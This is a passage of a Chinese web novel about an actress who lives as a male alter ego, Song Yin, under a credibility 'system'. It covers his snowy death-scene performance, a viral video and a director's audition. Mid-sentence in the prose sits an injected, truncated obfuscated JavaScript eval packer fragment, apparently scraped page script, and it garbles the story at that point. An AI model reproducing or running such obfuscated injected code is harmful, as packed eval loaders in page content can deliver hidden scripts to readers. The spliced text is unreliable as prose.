当然，化妆师的手艺也是需要非常好的，因为这场有造雪机，而且清场清得人只剩下一些，倒没有原来那几天那么热，只是李若白的服装很厚重。 他在剧情里是个将死之人。 殷玉莲拍摄进度推得很快，不到中午就到了宋寅上场拍特写的时候，宋寅听说前面拍几个镜头也是为了调试造雪机，今天所有的重点都在宋寅这个镜头上了，当然，男女主也会来，但他们今天是“配角”。 白颖和周宇的休息位置靠在一块儿，不是为了花絮他们两个人也不能显得过于生分点儿，这会儿周宇在和白颖说：“宋寅的戏挺好的，剧播出了应该能火。” 白颖心中冷笑说，男配端的是男主的饭碗，你搁我这挑拨什么呢？男配上桌难道还会连累女主下桌不成，反正她的团队已经做好了男主男配CP两边吃的准备，她自己演技是不差的，可不甘心被周宇拖后腿。 虽然这么想，她还是替宋寅谦虚说：“都是大家努力的成果，我想大家也会希望看到春夜爆火的。” 周宇转过头去，心里冷笑。原著小说感情线精华都在男女主这儿，白颖想要坐山观虎斗，也要看原著党吃不吃得下女主男二啊。但他忽略了，影视剧最不讲道理的地方，就是原著剧分开，而演技是最容易给人赋魅的。 这部小说的最后几个章节里，并没有吝惜笔墨给李若白襄助的秦家军一个结局，但她花大力气写了秦家军的功败垂成，写了他们的不甘与挣扎，写了河边无名骨，待子归家人的苍凉，却没有怎么写李若白。 她只是寥寥描述了几笔而已，然而李若白对于秦家军的重要性已经由那些他死后的悲怆场面体现出来。 殷玉莲要拍。镜头是导演的眼睛，导演的世界，她尊重原著的内核，但没说她完全不能用另一个方法把原著的精彩拍出来，她认为，李若白这个角色的精彩之处不在于爱而不得。 他对于云浅衾的爱只是他整个人人格底色的一部分体现，是他人生命运的具象化，而他性格里最值得大书特书的，应该是殉道的。 大雪纷飞的时候，李若白伸出手，要随从把他从毡房里扶出来，他们那些健康的身经百战的将士随从们，都被冷冽的北风刮得睁不开眼。 可是李若白却顶着那傲慢的粗犷的冬风，弯了弯眼睛。这笑不类同于他作为世家子对任何人表现出来的温和有礼的笑，不是簪缨世家对粗鄙贫民的宽容体谅，不是他对心上人心有所属的沉默和无可奈何的退让。 这只是他作为李若白，他自己，清楚淡薄的一个笑。 风刮走秦家军求胜的良机，也许会给对面的敌军，送去秦家军气数已尽的消息，帐帷中他的好友秦亮的眉头紧锁着，也许还在思考如何破敌。 两三天前，李若白用他的足智多谋给秦家军带来了许久未逢的胜利，所以秦家军上上下下都很拥护这位军师和他的随从人等。 但他在他们眼里仍是孱弱的。他们没在外多久，那将领就背着风劝诫道：“军师，回营去吧，你身子还没大好。” 随从身子更弱，尚只能顶着风雪大声地喊：“公子！”这几句喊得，好像他离得很远的似的。 殷玉莲低声：“他把其他人带进戏里去了。” 片场的鼓风机风力有限，造雪机也不可能真的吹出让人两眼茫茫的漫天大雪，他们会有这么真实的反应，完全是因为看到李若白那种虽被风吹得左右摇晃，但仍发自内心感觉到长风吹彻的那种畅快感。 他们也并非愚蠢，他们感到了害怕。 军师这样，很像回光返照。 李若白却微微仰着头，雪粒落下来，未等他再去触碰就融化了，雪像一个个他一生的碎片，绕过他的灵魂，奔赴无尽的旷野。 殷玉莲用对讲机提醒录音师收音，这场特地清场想要同期音，倒不是想追求质量什么，是想搭配拍摄成片看看拍的效果怎么样。 台词是现场效果的重要质检标准。 李若白：“我亦并非长生不死。” 他这话一出，随从旋即哽咽了，将领更是大骇疑心他们秦家军大势已去，悔之晚矣——本就没有军师的话，他们早已落败，现在军师也要死，那！ 李若白轻轻地说：“风啊。” 他遥遥望去，发现远处什么都没有，拍摄现场明明只有堆得凌乱的道具仪器，要么就是远远站着的被清场的工作人员。 可他们却好像在他眼里看到大好山河，看到被雪覆盖的山脉，它们绵延向远处，永远永远存在。他们看出他的眼神想要表达什么。 人这一生所求的，本就很短很短。百年千年之后，能留下的只有静默的群山。 此朝会告诉他，他和云浅衾所求的时代，谁是正确的吗？没有人，他们都只活百年，没有人知道，以后的世道会是怎样的世道。 他也回答了云浅衾的话。 无论她的想法如何，他是否认可，他只是做了一个作为此朝世家供奉，累世培养的人，该做的事。他只是历史的一颗尘埃。 至于云浅衾。 她活这一生，想选择自己心爱之人，何错之有啊。 一切都没有错，有的只是错过。 他还没有倒下，轻轻地吸了吸气，风雪依然绕过他的大氅，他侧脸边变形的柔软的绒毛，他苍白清秀的侧脸，他清澈安宁的眼睛。 他说：“扶我进去吧。” 他不能死在这大雪里，尽管他很想，但这是他能为秦家军做的最后一件事了，死在营内，他们尚可瞒住他的死讯，图谋后撤，或是反击。 都不重要了。他死之后，任他洪水滔天。 只是可惜。进毡房时李若白轻轻一顿，这是一整个长镜头里，宋寅第一次自由发挥，本来这个镜头都快结束了，可是他一点都不怕殷玉莲途中叫停，他也知道她能看懂他表达的真意。 盛蹊遇到过很多她想要这样细腻表达的角色，但是从未有机会过，所以无论上场前谁和他说任何，宋寅想的只是，好好沉浸在这里。 他没加台词，只是眼睛轻轻地一转，视线好像下落到什么熟悉物件上，但也只是轻轻弯了弯眼睛。 可惜。他只是在几天前见过她一面而已。 他也终是没有这样的运气，能让她像守着任玉一样，守着他度过整天整夜，岁岁年年。 …… 长镜头结束了，毡房里宋寅还掀帘出来，预备补拍几个刚刚没有切特写和其他角度近景的镜头，但是离得近的工作人员，表面上都鸦雀无声，等宋寅去补妆了，他们才压低声音互相讨论：“太牛了！” 任谁都看得出来，宋寅刚刚是深入灵魂的表演，某些仅粉丝可见的演技可能还需要一帧帧切开来详细分析，补足人物设定，可是宋寅刚刚这一场戏，就把完整的，李若白这个人物的整个形象，塑造出来了。 看这个片段你可能不知道李若白是什么样的身份、有什么样的背景经历，然而你却能简单感觉到，他不是畏死之人，他进去毡房不是因为怕冷，而且，他在这世间仍留存许多遗憾。 但他最终选择是让他们都随风去。苏轼当年泛舟湖上，说到物与我皆无尽也，很难想象，竟然有人能在一部古偶电视剧里把这几句话的感想简单表达出来。 他的演绎很精准，人之将死，哪可能只有爱情的遗憾啊！他演的各种复杂感受的杂糅，正是李若白这个角色最有魅力的地方。 你看了十几集的他的温柔宽和，到最后发现原来他也是一个有自己自私之心的人，可在此之前，从未有人发现过。 无人发觉，无所不能的李若白，也只是一个普通人。 前十几集的温柔男配花瓶景象，到最后一集 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这对于演员，是最好的褒奖。 鱼尾本来也想祝贺宋寅，天这么热，他一条过，后面补拍也轻松多了，是给他们两个人都减轻工作量，但是看到宋寅久久地站在那，以为他没有出戏。 程梦拿了水过来，看到宋寅看着地面不知道在想什么，下意识问：“宋老师还好吗？” 宋寅没有反应过来：“什么？”回神之后才重新握了握水瓶：“没什么。”只是不知道和谁分享，以前没有戏的时候，她满脑子都是如何才能演好一个角色让她被导演，被制片方甚至是资方看到。 但现在有了角色，她有了全心投入甚至说被认可的经历，一转过头，竟无法知晓，心中激荡的是什么。 程梦说：“宋老师马上要杀青了……到时候剧组会准备杀青红包。”她其实想说，宋寅可以找导演要要机会，或者趁此时候积累一下人脉。 但是她问到总编剧还有制片方，收工宴那天都要去，找到宋寅打算看到他时，发现他坐在剧组布景暂时没用的回廊一边，望着山水花草，静静地拨打一个一直在忙音的电话。 他确信本体那边不会接通，因为是向系统确认，这样的拨打，不会要求他在本体身体里醒来，他才打的。 他感觉到很宁静，听着那头的忙音，有一种他身体里的李若白，和真正的盛蹊都在陪着他的错觉。 可是他转过头，程梦张张嘴，无措地跑开了，宋寅不知道她看到了什么，但是系统说： 【宿主，宋寅马甲的电话号码在你那里变更为被拉黑了。】 原来她看出来他是给他那个不会接他电话的朋友打的。 但是不重要了。 宋寅：“系统，我要杀青了。”这是他作为宋寅的第一部戏。 【嗯。】 “谢谢。” 宿主看看宋寅三百多的可信度，算了算还有十多天，它大可不必现在就催，很客气地说：【不客气。】 程梦：“宋老师……宋老师他刚刚在休息，可能刚演完有点累到了吧。”回到片场内被追问宋寅所在的程梦笑容有些勉强。 然而她想到那个不会接通的电话，忽然想起宋寅说的：我们已经绝交了。 我会把所有的我分享给你。哪怕你并不知道。 10. 第 10 章 宋寅没有考虑过和本体的见面问题，因为在他的设想中他们就是不会见面的，没有想到这天下班后，本来不应该再来找他（她已经脑补过他被本体拉黑一会儿，应该觉得他这会儿正伤心）的程梦突然找来。 她看起来像是鼓起了很大勇气，说：“宋老师，你需要我给你拍张照……” 原来落点是后半句：“发给你那位朋友吗？” 他其实不应该答应，他也确信，他没有答应，但大概是他的表情泄露了他的心绪，一直很有礼貌克制，具有分寸的程梦居然主动举起相机。 他其实没有穿戏服，也算不上保留了李若白的妆造，但是程梦就是觉得，如果宋老师想要和她分享，那么不管是怎么样的他，只要是当下都是可以的。 她还很小心地说她可以发彩信，毕竟她没有被拉黑，而且还开了个玩笑说她的话费很够的，彩信花不了几个钱。 宋寅的沉默让程梦知道，他看透了她的努力相帮，但他没有拒绝。即使是没有拒绝这一项，都让程梦后来回去看到那张照片都鼻酸了。 她措辞了很久，但是盛蹊醒过来在手机里看到的时候只有一条彩信，一个字都没有，是一张照片。是其他人眼里的，她。 盛蹊保存了这张照片，但没有回复。她想，联系到这里就够了，程梦还会在殷导这个剧组，这个号码会维持被程梦不知道是谁的设定，宋寅也会继续演戏。 他需要思考去哪里收集可信度了。 杀青宴那天宋寅一直表现得很低调，导演递话，男主角捧杀，他也只是淡淡的安静地坐在那里，认识的人：鱼尾、程梦，还有青旅的徐可欣，看到他抱了花回来，竟然都主动恭喜他杀青快乐。 但宋寅看那束花，不能和别人说就只能和徐可欣说：“不演戏了有点不习惯。” 徐可欣刚看完盛蹊的物料，嘴上说着你肯定会有戏拍的，心里想，他们这两个人都真的为戏痴狂啊，这股着迷劲儿简直和盛蹊一模一样。 她和朋友发：【我知道我为什么嗑他俩了，他给我的感觉有时候真的和盛蹊特别像】 尤其是私下里片段的时候，盛蹊在采访的时候还是会说比较多话，言之有物一点的，但是她看好几个剧组其他人把她带进镜的花絮或者后采，盛蹊和宋寅一样也是只喜欢静静看着。 尤其是宋寅有时候转过头来看她的眼神，天啊，简直一模一样。 她和朋友保证——虽然因为怕涉及宋寅隐私，没提宋寅真名，甚至把之前发朋友的宋寅的侧脸背影照都给删了，还好朋友本来就每天看帅哥，早不记得了—— 【你到时候看见他肯定很快就能认出来，你看过盛蹊的】在她的锲而不舍安利下，朋友已经是盛蹊的路好了，还帮着吵过一架。 朋友不抱希望：【希望他出头吧，不然拍的剧都是糊剧那我很难看到他】 徐可欣本来还想反驳的，没想到没过几天，朋友甩了一张宋寅的抓拍照过来，发来一串问号。 【？？？？不是吧，你说的是不是这个？我第一眼看到真的好像，绝了，也不是夫妻相，就是，两个人都是很有那种莫名气质的感觉】 徐可欣第一眼看到也很震惊，这个时候宋寅已经退房了，她完全没想到朋友能在这个时候猜到，但刷了几遍知道契机是什么了，有人在剧组当群演的时候把这个“很帅的群演”发了出来，然后火了一把。 知道自己被偷拍了的时候宋寅正在领剧组的水喝。天太热了，其他剧组果然和化妆师鱼尾说得一样，不把群演当人，再热也只能在大太阳下等，有荫的地方已经被特邀演员占满——他们也是群演，只是戏份更多，级别更高。 系统在检查宋寅可怜兮兮的可信度，忍不住说：【宿主，你刷群演的方法确实有作用，可是这样效率太低了。】 离开《春江花月夜》，他的可信度就只有每天十几的增长，这还是宋寅什么角色都接，还被几个副导看中，演了几个有台词的炮灰配角，主要是那张脸好看，才得来的。 这和以前不能比，系统当然觉得杯水车薪了。 但宋寅并没有回，大数据还是很给力的，他在偷拍视频火了第二天刷到自己，这还是因为他一直在等戏，观察人群，很少看手机。 他看着一百多万点赞，再看看视频里的自己，忽然有一种感觉：这个世界的美女确实是太多了，至少以前她当群演的时候，很多她觉得非常漂亮的女孩，天天开直播也没有这样的热度。 但他并没有放在心上。对于演员来说，戏外曝光只是昙花一现，最重要的还是戏本身。但是事情发展根本不受他控制。 很快有人扒出《春江花月夜》他的定妆照，还有他和连拾的换角风波，以前那条博底下还有连拾粉丝骂他，祝“扑”的，现在被路人颜粉贡献，他们都和那条视频底下的评论一样，说他好帅啊。 虽然也有人担心帅哥没有演技的问题，但毕竟没有播出，没有人下定论。 殷导没有借这波热度提前放出一点片场片段或者借机炒作的行为让宋寅觉得很安心，虽然他不排斥配合宣传，但是提前剧透和戏内正常放送是不一样的。 对于部分演员来说，没有前面剧集铺垫，就把人物塑造的镜头放出来，是对观众期待感和演员心血的一种伤害。 他只是今天拍完戏才感觉到有点困扰：之前在春夜剧组门口安慰过他，还给他送过鸭舌帽的那群粉丝又看到了他，她们又吸引了其他人。 周遭的人越聚越多，有人高兴说：“我们就说你会火的。” “就是就是，连拾她们气死，哈哈哈哈。” 宋寅没有其他偶像对粉丝的那种架势，尽管他现在被人熟知的趋势确实很像卡颜值爱豆出圈似的，他像朋友一样和她们聊天，看到有人举起手机在拍，只是顿了一顿，然后才说：“天热，注意安全。” 然后就走了。 剧组群里有加了他的账号的和他说视频的事，程梦还很高兴地和他说，今天剧组那提到，有这个热度，后期可以借这个话题宣传一下。 春夜并没有拍完，只是他先杀青了而已。 宋寅看了一会儿，没有回复。系统问他：【宿主，你怎么了？感觉你不是很高兴。】 宋寅没有告诉它，他只是想念李若白了。很多演员喜欢沉浸在戏里是因为可以体验不一样的人生，他不一样。他只是因为可以躲在戏里的角色里。 他和程梦还有剧组的几个人约了晚上吃饭，因为他们终于得到确切消息，殷导想给他介绍一个角色，明天要带他去的！他们怕他不懂，特意给他说一声注意事项。 程梦给他介绍那些他在剧组见过，却未必认得出名字的人时还说，他们都是因为知道宋寅好心给群演买了降温贴，导致统筹看见了，怕剧组工作人员不平衡，才多发了一百高温补贴，才对他有好感的。 他们不喝酒，就聊了会儿天，临走的时候程梦犹豫了一会儿，看他不说话，才问：“你，你不问我吗？” 宋寅看她，原来这段时间她经常找他说话是这个意思。 程梦也觉得很尴尬，她本来做好了发照片被质问，甚至被打电话过来的准备的，不管是谁看到一个陌生人发了认识的人的照片，都要问几句吧？而且她怕对方忙，还特地等了很久，她也怕宋寅不好意思问，所以总是给他提供机会。 但是这两个人，一个人不回，另一个人不问，绝了！程梦踟蹰半晌还是主动和宋寅说了，她不说会一直惦记这个事儿的，现在看那个号码，都比看宋寅号码还熟了。 “我说了她不会回的，不过没关系，”宋寅对她淡淡笑了笑，那表情就像是已经被这样忽略过成百上千次，所以才能把情绪处理得这么自在圆融，“能拍下来就很好了。” 程梦不知道他说的是真正的“拍下来”，纪念保存，而不是她以为的拍下来给她。但是她还是很内疚。她知道她没做错什么，但还是内疚。 宋寅说：“我看到那个视频了。” 他还和她开玩笑，那样眼睛沉静地安慰她：“她看到，就知道我只是想出名，并不是只把照片发给她一个人了。” 什么啊，这一点也不好笑！程梦坐地铁回去路上，眼泪都要出来了，她感觉这句话就是为了拥抱你，拥抱了整个班级的现实版。 可是你是不是单独发给她的有什么区别，反正她都不理你。 程梦有想过单独再问那个朋友，不管是先生还是女士，再发一回的，但还是犹豫了。 回去后她知道她不用担心这个了，因为殷导离开剧组去参加朋友聚会，居然没有带宋寅去。 明明她和何编都说好了，这个角色介绍给宋寅的，但是当天她和另一个男演员上了车，而且那个男演员甚至不是她们剧组的，他们都没合作过！ 程梦不解和怒气上头，一股脑发给宋寅，发完才意识到，她没有任何缓冲，就让宋寅知道他又失去一个机会了。 程梦有点懊恼，但宋寅发消息说：没关系。 他是真的觉得没关系，昨天吃饭的时候他也没真的觉得他会得到这个机会，或者说得到了也能把握住，娱乐圈这种事情不少，他已经习惯了。 但殷导打电话来的时候他发现自己还是没习惯。 “殷导？” 殷玉莲在那边揉了揉太阳穴。“周末有空吗？推荐你去一个朋友那试镜。”都是长辈，她说话比较直接：“别去演那些龙套，对你没什么好处。” 没有个经纪公司就是喜欢乱来。 她不想给宋寅铺路的，谁知道周宇那个公司和后台都那么蠢，她不想介绍的资源，给她塞人。 本来这种事，她也没和宋寅说，不带宋寅去了也没什么，她有良心，也和宋寅以为的那样，给他介绍一个别的资源完事了，但周宇偏偏要插手。 那殷玉莲就不是这个脾气了。她确实不像何燕那样喜欢做好人，但是她看中的人想推荐一个机会，你要走了，她就得给宋寅一个更好的 不是因为宋寅，是因为她人就这样。 她不信娱乐圈还真能被流量给翻过去了？ 宋寅接到电话的时候没有抱希望，也没有太过期待，收到剧本才发现不对劲。这明显不是一个普通班底的剧本。 他顿了顿。 【宿主，你可以用扫描功能储存下来，用本体去看，你的可信度储备不高了。】系统操心地出声。 “哦，好。”宋寅很少有这么怔愣的时刻，系统没注意，让盛蹊以本体身份坐起来的时候，盛蹊立刻拿起了手机，她想和谁说，想和圈里说得上话的朋友讨论剧本的精妙。 她很少有这种冲动。 但她很快意识到，首先剧本是保密的，其次她也不该用这个身份去讨论。她可以切换回宋寅，但宋寅其实也没有什么演戏上的朋友。 她只有去找类似的戏剧电影，甚至还去看了一场话剧，出来的时候她被认出来了，线下的人并没有那么过分，她们愣了两下，嘀咕了两句就走开了。 盛蹊压低帽子继续回想话剧情节。 直到听到有人说：“诶，你刷到那个视频没有，那个说长得很帅的群演帅哥好像就在我们这拍诶。” “你说的我们这儿是指城北的影视城啊？这也太远了。” “哎呀，我只是说头一次感到和网红这么近，说说啦。” 盛蹊继续往前走。蓦地，她停下来看了看透明橱窗。嘴遮住，这依然是一张平平无奇的脸。 她想，她想继续当宋寅。这不是她的错。这是基因决定的。 宋寅在可信度只剩下10的时候醒来，他摸手机，想在这几天内找到增加可信 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可信度偏向变得很快，徐可欣再次发消息来的时候，可信度慢慢变动到一个从来没有出现过的短语上：家道中落。 最火的那个很帅群演小哥的原视频： 【救命，问了他工资才一百一天，从未如此清晰地感觉到颜值能逆天改命的合理感，场工已经喊他三回了】这是原视频，还没有其他限定词。 但后面火起来的几个视频都是： 【群演帅哥，青旅】 【现在群演这么卷了，这么帅都只能做群演，还穷到没什么钱，只能住便宜旅馆】 【谁懂，落难白月光具象化了，真的很难想象这么帅还只是个群演，原相机直出】 变化是从有人说他像落难公子哥，看他这个颜值真的不像没几个钱的无业游民的感觉开始的。无业游民是互联网黑粉的黑称。 评论区早讨论起来了： 【他是不是家里突然破产了？真的一点都不像个穷人】 【长得像那种清贫学霸】 【破案了，真的是家道中落，谁懂我在宁城一中官网真的翻到他毕业照的救赎感，就硬帅啊！】 【舞蹈生家里一般挺有钱的吧……没钱哪学得起舞蹈……】 【姐妹，他毕业舞台可以去看，真的就硬美，看得我都心动了，但是他家确实是破产了，前几年资产清算，他好像也没有去做别的，就销声匿迹了】 【我是他同学，大学那几年他都是系里跳得最好的，听说还有老师想让他留校】 【那突然去做群演是……？？】 【他家里人过世了吧，而且家里生意也出问题了，但他舞蹈是真好啊！进娱乐圈也是无奈之举吧，唉……】 互联网强大的脑补能力，已经把宋寅前半生快脑补完了，宋寅现在看着那些凭空出现的信息，都觉得如果不是一开始已经有了基础人设后，后面人设再变化都是可控的，他的人设不一定能这么自洽。 受过良好教育但是家道中落？倒和他一开始的人设也没有不搭。 但是：【系统，互联网发酵得这么快是因为可信度的影响吗？】 系统没想到宋寅发现得那么快，大概这件事里也确实处处透着古怪吧，一个素人帅哥，即使演了戏，谁会那么感兴趣去深扒他的过去。 【是的宿主，可信度如果曾经达到过一定数值就会触发关注偏向，其他人确实会更倾向于关注你……】但是宿主没爆火前，它认为不可能达到这个数值，就没说。 谁知道，帅这个可信度偏向提供的可信度也是够多的，互联网可真够可怕的。宋寅没多关注，他说了，他想要的关注是作品上的，但是看到网上提供的，宋寅读大学时候的照片，仍然有些怔愣。 【天啊，现在瘦了好多，之前舞蹈系的时候就已经够瘦了】 【眼神也不一样了，感觉他经历了好多（大哭）】 【但是都一样帅】 “真好看啊。” 【宿主？】 宋寅垂下眸：“没什么。” 徐可欣给他打电话：“对不起，我们没保护好你隐私……”宋寅说没事，本来他也没想过青旅有这个义务，但是徐可欣小声说：“你能不能给我们发个声明……” 电话里有人在催：“说大声点嘛，你这嘴。” 徐可欣大声说：“人家说了不行！”就把电话挂了，宋寅就猜到她应该是被逼的，但是他能猜到徐可欣打电话来的原因。 今天盛蹊又被骂上热搜了，词条是滚出娱乐圈，因为今天周宇春夜杀青，他发了小作文，带了拉踩和提到这里的工作人员很好，没有强制营业，而且很愉快，粉丝应激，当然会想到令他不愉快的那个人。 徐可欣看到一个高位热搜，一个低位热搜两个名字，难受得心脏快要炸掉了。怎么这样！ 盛蹊的博动了一下，徐可欣立刻点进去，心都凉了。她好像发了个什么，又好像什么都没发，但现在已经看不到了。 因为她把账号注销了。 【啊啊啊啊啊啊！（大哭）】 朋友被徐可欣哭得头晕，发过去一条：【别怕，你另一个正主小号不是也注销了】 徐可欣是真的在哭，她被喜欢的明星注销账号那击中一下，现在越想越伤心：【可是我们关注她的渠道都没了】 她只是一个粉丝。 可是会给其他人推荐她剧，会口是心非说帮你转告了的宋寅，他连唯一了解她近况的渠道都没了。 他注销账号是怕被她发现，现在呢。 世界发现了宋寅，但是发现他的同时，把盛蹊逼走了。 他们就像是星球的暗面和亮面，是不能同时存在的。 11. 第 11 章 徐可欣都想问盛蹊为什么注销账号了，但程梦紧接着发现关于宋寅的视频都那么火了，他还没有注册自己账号的消息。因为她们对他的刻板印象倒不包括早早注册个人账号给观众留下印象，所以程梦只是来找他： 【宋老师不注册一个账号吗？】 不是程梦提醒他都忘了，他只是单纯没有用大号的习惯，本体注销账号也是因为公司那边沟通终于通过了，同意等她结束这段时间的工作就和平解约。 说是这段时间的工作，其实就是道歉等这段风波过去。但是盛蹊不肯道歉，宁露也坚决不同意让盛蹊道歉，她和公司那边说了，找盛蹊的时候也说：“盛蹊，这和你个人的对错没有关系，公司是个软骨头，你可以不是。” 多讽刺啊，盛蹊在做自己的时候想，要退圈了才能不做这个软骨头，可就算她道了歉在这个圈子里还能混的话，她也不会道歉的。 道歉不仅是对不起自己，更是对不起她试镜那个片段真挚热烈喜欢对方的那个角色。说起来其实很可笑，混圈这么久，盛蹊不是没有侮辱过自己的人格，可是她绝不会侮辱自己的角色。 好在现在事情发酵得这么大，风向一边倒，早已没有人在意她道不道歉了，宁露姐还说，你以为她们会在意你道不道歉吗？不会的，你道歉了骂得更狠，因为这就是默认你把这个帽子扣自己头上了。 公司那争论不休，盛蹊睁开眼，把账号注销了。注销过后并没有世界一片清明，游客账号还是能浏览热搜，看到几条讨论她和周宇的话——毕竟热度还没有过去。 但是广场上她却刷到一条，关于宋寅行程repo的，其实只是个小号，也没有很详细，宋寅没有公司没有经纪没有行程，她分享的只是宋寅的几张路透照，大概因为不是站姐，也不是从蹭热度的短视频那里盗的，所以很糊。 但是很用心。 盛蹊在切换回宋寅之前还是收藏了这个帖子，因为点赞要登录账号，她还是注册了个小号，但头像简介统统都没有。 她也待过粉圈，知道这种账号一般会被认为是僵尸号，很难被找出来。而且，她其实也不经常看，她关注她只是怀着和这个博主一样朴素的功利愿望，她也希望宋寅能火起来。 火了，才有很多很多角色。 宋寅出发去试镜。这个马甲几乎没有工作，短期的龙套角色也要靠抢，他还是因为外形出色加上短视频火了一把，才能不断地演，但炮灰龙套的工资其实很低，就算真的有他这种外形不错的青年演员去演，也多半是为了去大导剧组刷脸。 宋寅没留意到他待过的有几个大导剧组，他只是发现他钱不太够了，龙套工资低，他就只能靠本体转账，但本体这几年其实没什么积蓄。 好在如果要退圈，她打算把房子卖了。那房子从她开始进圈开始，就一直陪伴她，在宁城，地段不算差，价格也还好，但是卖房的钱用完了她该干什么呢。 盛蹊不知道。她必须演戏，除此之外演一天是一天。系统发现盛蹊从来没有考虑过未来。 试镜的地点离影视城不远，但还是有点奇怪——是一家中式的会所。宋寅原本以为是茶餐厅，但是进入主厅才发现后门出去是回廊，别有洞天，一看价格就不会低。 程梦还不知道殷导重新给他找了试镜的事，一个劲地安慰他，宋寅不知道试镜能不能试上，就没有和她说，只是道：“还有机会。” 程梦张张嘴，宋寅不知道他这句话显得他更加有一种残忍的温柔。在春夜剧组的时候程梦原本以为他很想演戏，为此营养不良中暑都要坚持，可是现在没有别的前路了，他反过来安慰她还有机会。 其实他也根本没有遮掩掉和盛蹊身上一样的，完全没有考虑过未来，甚至对生活不抱有任何期待的悲观感。 明明他在网上刚火起来，程梦见过的网红尤其是一夜爆红的，对自己都有种迷之自信感，男人尤甚，只有宋寅像是被抽掉灯芯的蜡烛。 他其实不在乎，自己会不会融化。 服务员听说包间名字，带他走过九曲回廊，到了二层，这里装饰处处古色古香，透露着有钱的气息，宋寅怀疑其实是导演的私人聚会。 没想到进去真是如此，他有一瞬间竟然止步。 混圈这么多年，他不是傻白甜，知道无缘无故的好可能意味着什么，况且宋寅和本体不同，宋寅其实有着一张不俗的脸。 但出于对殷导的信任，他还是走进去了，三男两女，殷导旁边的那位满头银丝的女导演明显是主位，而且宋寅还认识她。 盛蹊毕业大戏，排的就是她的话剧作品，《山茶花》。居然是大剧院的宋如今导演。他有点超出他预期的受宠若惊，还有轻微的茫然。 宋如今先开口：“坐吧，我们就是来看看，今天来看你的可是杨导。” 她一开口介绍，宋寅就知道了，圆桌宋如今导演旁边一位男士的在旁边，三位男士中的一位，有些发福，戴着帽子，有点文艺气息的男导演，就是杨树本人。 他看着表情平平，略点了下头。 今天只有他一个小辈作陪，不太可能，果然等了一会儿，有其他人来了。宋寅看到他们，心里泛起自嘲。都是如今演艺圈里声名鹊起的学院派的代表人物，很年轻的小花小生，没有作品，但是不代表没有混出头。 他们能在戏剧学院这种群星荟萃的地方混出名堂来，都代表是大家的弟子，而且自己的演技肯定不会差。今天这个局宋寅已经明了了，有位导演是宁戏的老师，这是他的人脉。 他想给自己的学生介绍资源，或许还有朋友的学生，殷导就搭上了他。虽然只是添头，宋寅还是很感激，但酒过三巡要试戏的时候，殷导放下酒杯淡淡地说：“去吧，不要紧张。” 她的人情不是那么容易给出去的，她愿意介绍宋寅来，除了明面上宋寅也是刚毕业不久，还是学生的借口外，不也有相信宋寅不会没他们演技好？ 虽然没人会在意，但是宋寅演得不好也打的是她的脸。还好其他几人看在宋寅是学长，还是舞蹈系的非科班，商量让他先来“表演节目”。 其实就是演。 但这种东西，接在爆表的同学甚至学弟学妹后面，还不如一开始演，毕竟没有对比。 宋寅的肢体很柔软，盛蹊知道马甲这个设定后就尽力丰富完全，没有去演炮灰的时候，他在酒店做瑜伽，拉伸肢体，还学过一支舞。 系统说的，他人的脑补虽然会帮马甲生成一点基础设定，但他本人的行动也会引导脑补的走向，如果一个人脑补他跳舞很好，他却没有给出来相应的实力，也会导致脑补里的形象减分。 当然，系统其实提了可信度可以短时间快速提升某些素质，以符合脑补形象，但盛蹊不喜欢这种走捷径的办法，她更知道，演技是无法用外力提升的。 没有真听真感受，好的演技只是空中楼阁。 果然宋寅刚开始入戏，几个学院派的学生就对视一眼，面露惊讶：他们看出来宋寅的表演很实。学院派演技为什么在某段时间常受到抨击，就是因为那种程序化，标准化的演技，某种意义上是不真实的，生硬的。 它没有细节填充，只是冷冰冰的五官调动步骤，很难把人带进不同的故事里去，但宋寅的表演不同，他的五官动作幅度极其细微，但只一双眼睛，就让人感觉到他这个故事里的设定了。 谁都看得出来，宋寅准备的这个故事是有细节的，而且是不同于剧本里所给出的其他的细节。 杨树发话了，既然是试镜，他也不怕打扰宋寅：“你选的是程小术这个角色。” 宋寅没有回答，他还在戏里，但是是的，其他人都看出来了。这部戏的剧本是部年代戏，讲上山下乡那时候的，程小术是个面白性子软的知青，虽然性格胆小怯弱，但是他有个爱好，就是唱戏。 谁都知道，那个时候喜欢这个，就是自讨苦吃。可是他太喜欢了，喜欢到他割草工分不够，他依然补完工分后，深一脚浅一脚跑到这荒野来，小声地吊嗓子唱上两声。 殷玉莲看出宋寅是想演程小术累极，但跑到这小声唱戏依然精神饱满那一段，这段反差足够，他眼神也处理得很有情绪，刚刚说他演技很实就那段，他踩着荒草泥泞，眼神还留意着田埂上的路，但是心却已经飞起来了。 他疲惫，却快乐。不敢太明亮的眼睛呈现出一种别人不敢直视鲜活。 杨树却在这时候说：“你听到有人来了。” 宋寅卡了一下，这不是他排练好的步骤里的片段，但他还是圆融地把这个卡顿，处理成程小术的一种心慌。 他其实很想唱，他想唱得不得了——干活的时候大队也唱农歌，但是没唱几首就要拐回到一样的歌去了，不允许他们唱别的，更别说唱戏。 所以他很珍惜这种个人的时间，他来时也每次都会注意周围有没有人，但是人是这样的，你太快乐的时候，总会忍不住怀疑，这是不是他错觉导致的？他是不是太不谨慎，太兴奋导致没发现有人跟着。 或者，这就是他最后有一次机会唱戏了？ 杨树明白他的演法了——他胆子很大，把“听到有人来了”演成更有层次，更丰富的，“程小术听到有人来了，但他以为是自己听错了，他怀疑自己是自己吓自己，以前也有这样的情况”，这就把这个人的人物厚度大大拓宽了！ 这个场景不仅仅是讲程小术被发现，更是很多次之前，程小术也心跳加速怕有人来捂着嘴，有很多次压根就是风声，但他愣是不敢唱了，也有这一次，他很倒霉。 他或许知道自己听到的真是人，可是他不想管了，他真不甘心啊，他这次唱得这么好，不唱下去他怕自己以后都唱不出来啊！ 殷玉莲低声：“前几镜那个片段。”程小术遇到一个音唱不上去，受到村庄里老人过世哭灵的启发，很快乐地想要学会，所以忍不住哼哼，差点被抓住了。 这次更悲剧化——他终于唱出来了，但是也被人抓住了，到最后，程小术眼眶里满是泪水，手都在抖，但是他认为自己的音没抖，没掉，他唱上去了！ 他如此激动，以至于他问那个恶狠狠来抓他的人，连番询问：“你听到了吗？我唱的那句？我唱上去了！” …… 几个学生张张嘴。太厉害了。他们看剧本的时候因为没想选这段只是略过，但是也留下了一个程小术怎么这时候还在问他唱得好不好是不是疯了的印象。 